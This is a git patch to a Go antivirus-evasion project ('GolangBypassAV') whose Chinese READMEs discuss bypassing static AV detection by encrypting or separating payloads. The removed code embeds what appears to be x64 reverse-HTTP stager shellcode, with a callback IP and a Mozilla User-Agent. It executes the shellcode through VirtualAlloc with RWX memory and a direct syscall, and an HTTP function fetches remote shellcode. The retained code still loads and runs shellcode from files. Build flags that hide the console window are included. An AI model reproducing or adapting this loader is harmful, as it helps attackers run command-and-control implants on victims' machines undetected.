From ff272c5340a34c523f7dc0946c3d244cd16a45c9 Mon Sep 17 00:00:00 2001 From: Administrator <1850597152@qq.com> Date: Sun, 15 Aug 2021 16:38:02 +0800 Subject: [PATCH] =?UTF-8?q?test1,=E6=95=88=E6=9E=9C=E4=B8=80=E8=88=AC?= =?UTF-8?q?=E8=88=AC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 16 +++++-- encry/base64.go | 24 ---------- encry/main.go | 20 -------- encry/util.go | 48 +++++++++++++++++++ encry/xor.go | 2 +- main.go | 66 +++++++++++++------------- test1/README.md | 11 +++++ test1/img.png | Bin 0 -> 68700 bytes test1/main.go | 124 ++++++++++++++++++++++++++++++++++++++++++++++++ 9 files changed, 228 insertions(+), 83 deletions(-) delete mode 100644 encry/base64.go create mode 100644 test1/README.md create mode 100644 test1/img.png create mode 100644 test1/main.go diff --git a/README.md b/README.md index faab14a..de36687 100644 --- a/README.md +++ b/README.md @@ -6,18 +6,26 @@ ## 思路 +静态免杀比较简单,可选加密payload或者分离payload。 +分离免杀效果比加密payload的效果要好。 -## 命令 +## 目录介绍 +- hello +golang的demo。hello world 也有5个报毒。 + +- test1 +随手抄了一个加密payload出来。效果一般。 + + + +## 编译命令 ```bash -效果一般 go build -ldflags="-s -w" -o main1.exe -race main.go -效果还可以 go build -ldflags="-s -w" -o main1.exe -效果还可以 go build -ldflags="-s -w -H=windowsgui" -o main2.exe ``` diff --git a/encry/base64.go b/encry/base64.go deleted file mode 100644 index 9cae5fb..0000000 --- a/encry/base64.go +++ /dev/null @@ -1,24 +0,0 @@ -package encry - -import ( - "encoding/base64" - "encoding/hex" - "fmt" - "os" - "strings" -) - -func GetShellCode(data string) []byte { - shellCodeB64, err := base64.StdEncoding.DecodeString(data) - if err != nil { - fmt.Printf("[!]Error b64decoding string : %s ", err.Error()) - os.Exit(1) - } - shellcodeHex, _ := hex.DecodeString(strings.ReplaceAll(strings.ReplaceAll(string(shellCodeB64), "\n", ""), "\\x", "")) - return shellcodeHex -} - -func GetBase64Data(data []byte) string { - bdata := base64.StdEncoding.EncodeToString(data) - return bdata -} diff --git a/encry/main.go b/encry/main.go index 29df816..770ffb3 100644 --- a/encry/main.go +++ b/encry/main.go @@ -40,23 +40,3 @@ func checkErr(err error) { } } } - -func main() { - - b64body := "DQxXHgwMVx4YzDBceDAwXHXHgzNFx4ODhceDQ4XHgwMVx4ZDZceDRkXHgzMVx4YzlceDQ4I0XHgwOFx4NDVceDM5XHhkMVx4NzVceGQ4XHg1OFx4NDRceDhiXHg0MFx4MjRceDQ5XHgwMVx4ZDBceDY2XHg0MVx4OGJceDBjXHg0OFx4NDRceDhiXHg0MFx4MWNceDQ5XHgwMVx4ZDBceDQxXHg4Ylx4MDRceDg4XHg0OFx4MDFceGQwXHg0MVx4NThceDQxXHg1OFx4NWVceDU5XHg1YVx4NDFceDU4XHg0MVx4NTlceDQxXHg1YVx4NDhceDgzXHhlY1x4MjBceDQxXHg1Mlx4ZmZceGUwXHg1OFx4NDFceDU5XHg1YVx4NDhceDhiXHgxMlx4ZTlceDRmXHhmZlx4ZmZceGZmXHg1ZFx4NmFceDAwXHg0OVx4YmVceDc3XHg2OVx4NmVceDY5XHg2ZVx4NjVceDc0XHgwMFx4NDFceDU2XHg0OVx4ODlceGU2XHg0Y1x4ODlceGYxXHg0MVx4YmFceDRjXHg3N1x4MjZceDA3XHhmZlx4ZDVceDQ4XHgzMVx4YzlceDQ4XHgzMVx4ZDJceDRkXHgzMVx4YzBceDRkXHgzMVx4YzlceDQxXHg1MFx4NDFceDUwXHg0MVx4YmFceDNhXHg1Nlx4NzlceGE3XHhmZlx4ZDVceGViXHg3M1x4NWFceDQ4XHg4OVx4YzFceDQxXHhiOFx4NTBceDAwXHgwMFx4MDBceDRkXHgzMVx4YzlceDQxXHg1MVx4NDFceDUxXHg2YVx4MDNceDQxXHg1MVx4NDFceGJhXHg1N1x4ODlceDlmXHhjNlx4ZmZceGQ1XHhlYlx4NTlceDViXHg0OFx4ODlceGMxXHg0OFx4MzFceGQyXHg0OVx4ODlceGQ4XHg0ZFx4MzFceGM5XHg1Mlx4NjhceDAwXHgwMlx4NDBceDg0XHg1Mlx4NTJceDQxXHhiYVx4ZWJceDU1XHgyZVx4M2JceGZmXHhkNVx4NDhceDg5XHhjNlx4NDhceDgzXHhjM1x4NTBceDZhXHgwYVx4NWZceDQ4XHg4OVx4ZjFceDQ4XHg4OVx4ZGFceDQ5XHhjN1x4YzBceGZmXHhmZlx4ZmZceGZmXHg0ZFx4MzFceGM5XHg1Mlx4NTJceDQxXHhiYVx4MmRceDA2XHgxOFx4N2JceGZmXHhkNVx4ODVceGMwXHgwZlx4ODVceDlkXHgwMVx4MDBceDAwXHg0OFx4ZmZceGNmXHgwZlx4ODRceDhjXHgwMVx4MDBceDAwXHhlYlx4ZDNceGU5XHhlNFx4MDFceDAwXHgwMFx4ZThceGEyXHhmZlx4ZmZceGZmXHgyZlx4NzNceDQ0XHg0ZFx4NTlceDAwXHgzNVx4NGZceDIxXHg1MFx4MjVceDQwXHg0MVx4NTBceDViXHgzNFx4NWNceDUwXHg1YVx4NThceDM1XHgzNFx4MjhceDUwXHg1ZVx4MjlceDM3XHg0M1x4NDNceDI5XHgzN1x4N2RceDI0XHg0NVx4NDlceDQzXHg0MVx4NTJceDJkXHg1M1x4NTRceDQxXHg0ZVx4NDRceDQxXHg1Mlx4NDRceDJkXHg0MVx4NGVceDU0XHg0OVx4NTZceDQ5XHg1Mlx4NTVceDUzXHgyZFx4NTRceDQ1XHg1M1x4NTRceDJkXHg0Nlx4NDlceDRjXHg0NVx4MjFceDI0XHg0OFx4MmJceDQ4XHgyYVx4MDBceDM1XHg0Zlx4MjFceDUwXHgyNVx4MDBceDU1XHg3M1x4NjVceDcyXHgyZFx4NDFceDY3XHg2NVx4NmVceDc0XHgzYVx4MjBceDRkXHg2Zlx4N2FceDY5XHg2Y1x4NmNceDYxXHgyZlx4MzVceDJlXHgzMFx4MjBceDI4XHg2M1x4NmZceDZkXHg3MFx4NjFceDc0XHg2OVx4NjJceDZjXHg2NVx4M2JceDIwXHg0ZFx4NTNceDQ5XHg0NVx4MjBceDM5XHgyZVx4MzBceDNiXHgyMFx4NTdceDY5XHg2ZVx4NjRceDZmXHg3N1x4NzNceDIwXHg0ZVx4NTRceDIwXHgzNlx4MmVceDMxXHgzYlx4MjBceDU3XHg0Zlx4NTdceDM2XHgzNFx4M2JceDIwXHg1NFx4NzJceDY5XHg2NFx4NjVceDZlXHg3NFx4MmZceDM1XHgyZVx4MzBceDNiXHgyMFx4NDJceDRmXHg0OVx4NDVceDM5XHgzYlx4NDVceDRlXHg1NVx4NTNceDI5XHgwZFx4MGFceDAwXHgzNVx4NGZceDIxXHg1MFx4MjVceDQwXHg0MVx4NTBceDViXHgzNFx4NWNceDUwXHg1YVx4NThceDM1XHgzNFx4MjhceDUwXHg1ZVx4MjlceDM3XHg0M1x4NDNceDI5XHgzN1x4N2RceDI0XHg0NVx4NDlceDQzXHg0MVx4NTJceDJkXHg1M1x4NTRceDQxXHg0ZVx4NDRceDQxXHg1Mlx4NDRceDJkXHg0MVx4NGVceDU0XHg0OVx4NTZceDQ5XHg1Mlx4NTVceDUzXHgyZFx4NTRceDQ1XHg1M1x4NTRceDJkXHg0Nlx4NDlceDRjXHg0NVx4MjFceDI0XHg0OFx4MmJceDQ4XHgyYVx4MDBceDM1XHg0Zlx4MjFceDUwXHgyNVx4NDBceDQxXHg1MFx4NWJceDM0XHg1Y1x4NTBceDVhXHg1OFx4MzVceDM0XHgyOFx4NTBceDVlXHgyOVx4MzdceDQzXHg0M1x4MjlceDM3XHg3ZFx4MjRceDQ1XHg0OVx4NDNceDQxXHg1Mlx4MmRceDUzXHg1NFx4NDFceDRlXHg0NFx4NDFceDUyXHg0NFx4MmRceDQxXHg0ZVx4NTRceDQ5XHg1Nlx4NDlceDUyXHg1NVx4NTNceDJkXHg1NFx4NDVceDUzXHg1NFx4MmRceDQ2XHg0OVx4NGNceDQ1XHgyMVx4MjRceDQ4XHgyYlx4NDhceDJhXHgwMFx4MzVceDRmXHgyMVx4NTBceDI1XHg0MFx4NDFceDUwXHg1Ylx4MzRceDVjXHg1MFx4NWFceDU4XHgzNVx4MzRceDI4XHg1MFx4NWVceDI5XHgzN1x4NDNceDQzXHgyOVx4MzdceDdkXHgyNFx4NDVceDQ5XHg0M1x4NDFceDUyXHgyZFx4NTNceDU0XHg0MVx4NGVceDQ0XHg0MVx4NTJceDQ0XHgyZFx4NDFceDRlXHg1NFx4NDlceDU2XHg0OVx4NTJceDU1XHg1M1x4MmRceDU0XHg0NVx4NTNceDU0XHgyZFx4NDZceDQ5XHg0Y1x4NDVceDIxXHgyNFx4NDhceDJiXHg0OFx4MmFceDAwXHgzNVx4NGZceDAwXHg0MVx4YmVceGYwXHhiNVx4YTJceDU2XHhmZlx4ZDVceDQ4XHgzMVx4YzlceGJhXHgwMFx4MDBceDQwXHgwMFx4NDFceGI4XHgwMFx4MTBceDAwXHgwMFx4NDFceGI5XHg0MFx4MDBceDAwXHgwMFx4NDFceGJhXHg1OFx4YTRceDUzXHhlNVx4ZmZceGQ1XHg0OFx4OTNceDUzXHg1M1x4NDhceDg5XHhlN1x4NDhceDg5XHhmMVx4NDhceDg5XHhkYVx4NDFceGI4XHgwMFx4MjBceDAwXHgwMFx4NDlceDg5XHhmOVx4NDFceGJhXHgxMlx4OTZceDg5XHhlMlx4ZmZceGQ1XHg0OFx4ODNceGM0XHgyMFx4ODVceGMwXHg3NFx4YjZceDY2XHg4Ylx4MDdceDQ4XHgwMVx4YzNceDg1XHhjMFx4NzVceGQ3XHg1OFx4NThceDU4XHg0OFx4MDVceDAwXHgwMFx4MDBceDAwXHg1MFx4YzNceGU4XHg5Zlx4ZmRceGZmXHhmZlx4MzFceDM5XHgzMlx4MmVceDMxXHgzNlx4MzhceDJlXHgzMlx4MzJceDM4XHgyZVx4MzFceDMyXHgzOVx4MDBceDAwXHgwMFx4MDBceDAw" - shellCodeHex := GetShellCode(b64body) - var charcode = shellCodeHex - - addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - if addr == 0 { - checkErr(err) - } - _, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode))) - checkErr(err) - - for j := 0; j < len(charcode); j++ { - charcode[j] = 0 - } - - syscall.Syscall(addr, 0, 0, 0, 0) -} diff --git a/encry/util.go b/encry/util.go index 0cee9a0..c9942fe 100644 --- a/encry/util.go +++ b/encry/util.go @@ -1 +1,49 @@ package encry + +import ( + "encoding/hex" + "fmt" + "io/ioutil" + "strconv" + "strings" +) + +func Convert(data string) []byte { + shellcodeHex, _ := hex.DecodeString(strings.ReplaceAll(strings.ReplaceAll(data, "\n", ""), "\\x", "")) + return shellcodeHex +} + +func Parse(data string) string { + var result string + + isArr := strings.Contains(data, ",") + if isArr { + context := strings.Split(data, ",") + size := len(context) + dataArr := make([]byte, size) + for i, v := range context { + val, _ := strconv.Atoi(v) + dataArr[i] = byte(val) + } + + result = hex.EncodeToString([]byte(dataArr)) + fmt.Println(result) + } else { + val, _ := strconv.Atoi(data) + data := make([]byte, 1) + data[0] = byte(val) + result = hex.EncodeToString([]byte(data)) + fmt.Println(result) + } + + return result +} + +func ReadFile(data string) []byte { + b, err := ioutil.ReadFile(data) // just pass the file name + if err != nil { + fmt.Print(err) + } + return b + +} diff --git a/encry/xor.go b/encry/xor.go index 47db308..e915ffd 100644 --- a/encry/xor.go +++ b/encry/xor.go @@ -4,7 +4,7 @@ import ( "strconv" ) -var XorKey = []byte{0x12, 0x34, 0x67, 0x6A, 0xA1, 0xFF, 0x04, 0x7B} +var XorKey = []byte{0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B} func E(src string) string { var result string diff --git a/main.go b/main.go index b279869..7844ed5 100644 --- a/main.go +++ b/main.go @@ -2,12 +2,8 @@ package main import ( "GolangBypassAV/encry" - "io/ioutil" - "log" - "net/http" "os" "syscall" - "time" "unsafe" ) @@ -22,8 +18,8 @@ var ( ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect") - RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") - RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory") + //RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") + RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory") ) func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { @@ -44,35 +40,13 @@ func checkErr(err error) { } } -func getCode(key string) []byte { - //远程加载 - //Url0:= xor.d("daed8f25d0556d6fd037583947598324928") - url0 := encry.D(key) - - var CL http.Client - //_ = exec.Command("calc.exe").Start() - //下方拼接shellcode文件名到url上 - resp, err := CL.Get(url0 + "x") - if err != nil { - log.Fatal(err) - } - defer resp.Body.Close() - if resp.StatusCode == http.StatusOK { - bodyBytes, err := ioutil.ReadAll(resp.Body) - if err != nil { - log.Fatal(err) - } - return bodyBytes - } - return []byte{} -} - func genEXE(charcode []byte) { addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if addr == 0 { checkErr(err) } + _, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode))) checkErr(err) @@ -83,7 +57,7 @@ func genEXE(charcode []byte) { syscall.Syscall(addr, 0, 0, 0, 0) } -func genEXE1(shellcode []byte) { +/*func genEXE1(shellcode []byte) { addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) @@ -94,14 +68,38 @@ func genEXE1(shellcode []byte) { } time.Sleep(5 * time.Second) syscall.Syscall(addr, 0, 0, 0, 0) +}*/ + +func getFileShellCode(file string) []byte { + data := encry.ReadFile(file) + //shellCodeHex := encry.GetBase64Data(data) + //fmt.Print(shellCodeHex) + return data } +/*func getFileShellCode1(file string) string { + data := encry.ReadFile(file) + shellCodeHex := encry.GetBase64Data(data) + fmt.Print(shellCodeHex) + return shellCodeHex +}*/ + func main() { - /* length: 892 bytes */ - data := "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x20\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x4b\x63\x37\x78\x00\x71\xdc\x5f\x88\xf7\x61\x31\x6d\x97\xc1\xb8\x8a\xb1\x4b\x19\x71\x98\x27\x97\xe9\xc8\x22\xcc\x77\xe1\x0d\x75\xe2\x18\x7a\x58\x6c\x7a\x9c\xba\x43\x64\x39\xe0\x27\x59\x99\xae\xad\x5e\x4a\xa6\x5e\xe4\xbd\x85\x6b\x28\xa7\x42\x11\xaf\x9e\x4e\xcc\x65\xd5\x5f\x0f\x4c\x76\x14\xbb\xd5\x55\x28\xba\x02\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x29\x0d\x0a\x00\x2d\xbe\xea\x9c\x8c\xd1\x2e\x37\xfe\x2f\x6f\xa6\x0d\x4d\x3a\x60\x02\x25\xe2\xd5\xbe\x91\x5f\xf1\xb0\x59\x90\xfd\x7a\x2c\x45\x17\xe4\xb7\x28\x47\x39\x9c\x92\x59\x8b\x8e\xa4\x62\x74\x6c\x45\x06\x91\xce\x72\xcc\xea\x46\xd8\x6a\x65\xd9\xf5\x3b\x07\x85\xbe\x1c\x03\x1e\x4c\x44\xe9\x3c\xbb\x81\xc1\xbe\xa2\x26\x02\x98\x71\xab\xa1\xa5\xc2\xd0\x95\xa1\xb7\xe2\x39\x67\x7f\x98\x78\x41\xcc\xfd\xb5\x3d\x86\x31\x57\x0e\xc7\x09\xb9\xf7\x23\x19\x8d\xa1\x07\x22\xb9\xd0\x53\xe9\x89\x93\x69\xe6\x48\x6f\xb8\x3e\xa1\x38\x54\x1c\xdd\x61\x48\x44\xec\x20\xbc\xfd\x9a\x8e\x2e\xa6\xf0\x90\x0b\x7c\x9a\x32\x67\x22\x7a\xb3\x11\xb4\x82\xd6\x92\xd7\xde\x1e\x5e\x44\x59\x73\x8c\x55\xc8\xf6\x9c\x93\xb8\xe7\x8a\x69\x54\x9c\xca\xdb\xd1\x7b\x61\x54\xfa\xe7\x0f\x87\x44\x0a\x67\x37\x23\xfc\x9c\xbf\xe5\xcd\xd9\xb2\x43\x6e\xea\x99\x47\x6b\x77\x44\x91\x01\x67\x7e\x64\x12\x78\xea\xa3\x4e\x9b\x01\x2f\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x32\x32\x2e\x39\x2e\x31\x35\x37\x2e\x31\x32\x32\x00\x12\x34\x56\x78" + //file := "C:\\Users\\Administrator\\Desktop\\payload.bin" + //file1 := "C:\\Users\\Administrator\\Desktop\\test.txt" + + //s:= encry.GetBase64Data1(getFileShellCode(file)) + //print(s) + //encry.GetCode1(s) + + /* */ + + //bbdata := encry.GetBase64Data([]byte(bdata)) - shellCodeHex := encry.GetShellCode(encry.GetBase64Data([]byte(data))) - genEXE(shellCodeHex) + //bbdata :="dfdf" + /* shellCodeHex := encry.GetShellCode(encry.GetBase64Data(encry.GetCode1(bbdata))) + fmt.Print(shellCodeHex) + genEXE(shellCodeHex)*/ //fmt.Print(encry.EE("ba`gfe")) diff --git a/test1/README.md b/test1/README.md new file mode 100644 index 0000000..ae63035 --- /dev/null +++ b/test1/README.md @@ -0,0 +1,11 @@ +加密payload进行bypass,未做反沙箱。 +效果一般。 + +![](img.png) + +```bash +go build -ldflags="-s -w -H=windowsgui" -o main2.exe +``` + + + diff --git a/test1/img.png b/test1/img.png new file mode 100644 index 0000000000000000000000000000000000000000..76d51a11c7cfb0209c1d94ef315387d6eadca3a3 GIT binary patch literal 68700 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 